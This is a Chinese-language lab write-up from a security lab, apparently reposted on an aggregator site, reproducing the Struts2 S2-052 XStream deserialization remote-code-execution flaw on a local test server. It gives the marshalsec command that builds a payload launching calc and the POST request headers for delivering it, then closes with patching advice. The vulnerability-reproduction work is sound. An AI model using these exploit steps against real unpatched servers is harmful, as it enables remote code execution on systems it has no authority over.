联想安全实验室:Struts2 S2-052 漏洞复现

Posted 联想安全实验室

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了联想安全实验室:Struts2 S2-052 漏洞复现相关的知识,希望对你有一定的参考价值。







0X01 环境搭建

环境需要:

TOMCAT/JDK/struts-2.5.12安装包/burpsuite/Maven/marshalsec。

前期准备:

在Strtus官网上下载Strtus对应的版本,这里选择下载struts-2.5.12-all.zip

联想安全实验室:Struts2 S2-052 漏洞复现

解压后进入struts-2.5.12/apps目录,选择文件struts2-rest-showcase.war,将其放入tomcat的webapps目录;启动tomcat,运行startup.bat,tomcat在启动时会自动将其解包,解压后的目录为:struts2-rest-showcase;访问127.0.0.1:8080/struts2-rest-showcase会跳转到http://127.0.0.1:8080/struts2-rest-showcase/orders,说明struts2已成功部署。



联想安全实验室:Struts2 S2-052 漏洞复现


0X02 问题描述

环境需要:

问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,这个类没有进行任何校验,直接进行了转换,导致任意代码执行漏洞。感兴趣的同学可自行下载代码进行分析,本文不做详细介绍。


0X03 漏洞复现

marshalsec生成Payload:

使用方法:

  1. 需要先安装maven将java文件打包成jar包,首先下载maven,解压后将其放入环境变量,具体添加环境变量方法自行百度;

  2. 在github上下载marshalsec(一个生成payload的工具),解压后进入包含pom.xml文件的目录,执行mvnclean package –DskipTests生成目标jar文件,此过程需要几分钟时间;

  3. 进入target目录下找到jar文件,执行:

    Java-cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO “calc” >1.txt生成的Payload即1.txt中的内容;

  4. 将1.txt中的这段XML用POST发给struts2-rest-showcase,ContentType要设置为Application/xml的,然后就可以触发Exp,弹出计算器。当命令中有空格时,提交多个<string>节点即可;

 

POST数据包如下:

POST/struts2-rest-showcase/orders HTTP/1.1

Host:127.0.0.1:8080

User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101Firefox/54.0

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Content-Type:application/xml

Content-Length:2363

Referer:http://127.0.0.1:8080/struts2-rest-showcase/orders/3/edit

Cookie:JSESSIONID=781CE44DE18FC24F99DA04CC23E404B7

Connection:close

Upgrade-Insecure-Requests:1

 POSTDATA为“1.txt”中的内容。


0X04 漏洞验证

如下图所示:

联想安全实验室:Struts2 S2-052 漏洞复现


0X05 加固建议

  1. 升级到Apache Struts版本2.5.13或2.3.34。

  2. 不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:

    <constant name=”struts.action.extension” value=”xhtml,,json”/>


0X04 参考

  1. http://struts.apache.org/docs/s2-052.html

  2. https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=26789&extra=page%3D1&page=1

  3. https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-052



联想安全实验室


联想安全实验室,以控制产品安全质量为核心,研究主流安全攻防技术,构筑产品安全创新生态。实验室研究方向涵盖终端产品安全、云服务安全、IoT产品安全、大数据安全、无线网络安全等方向,专注于端到端的产品安全技术能力研究,同时安全实验室还关注工业互联网、智能交通、智慧城市、智慧家庭等方向的安全研究。

以上是关于联想安全实验室:Struts2 S2-052 漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

Struts2 S2-052 RCE简单测试

Struts S2-052漏洞利用方式实验解析(附EXP)

安全通告|Struts2(S2-052)远程命令执行漏洞

网络安全预警通告Apache Struts2(S2-052) 远程代码执行漏洞

Apache struts2(S2-052)远程执行代码漏洞

转载Struts2 S2-052 RCE分析与利用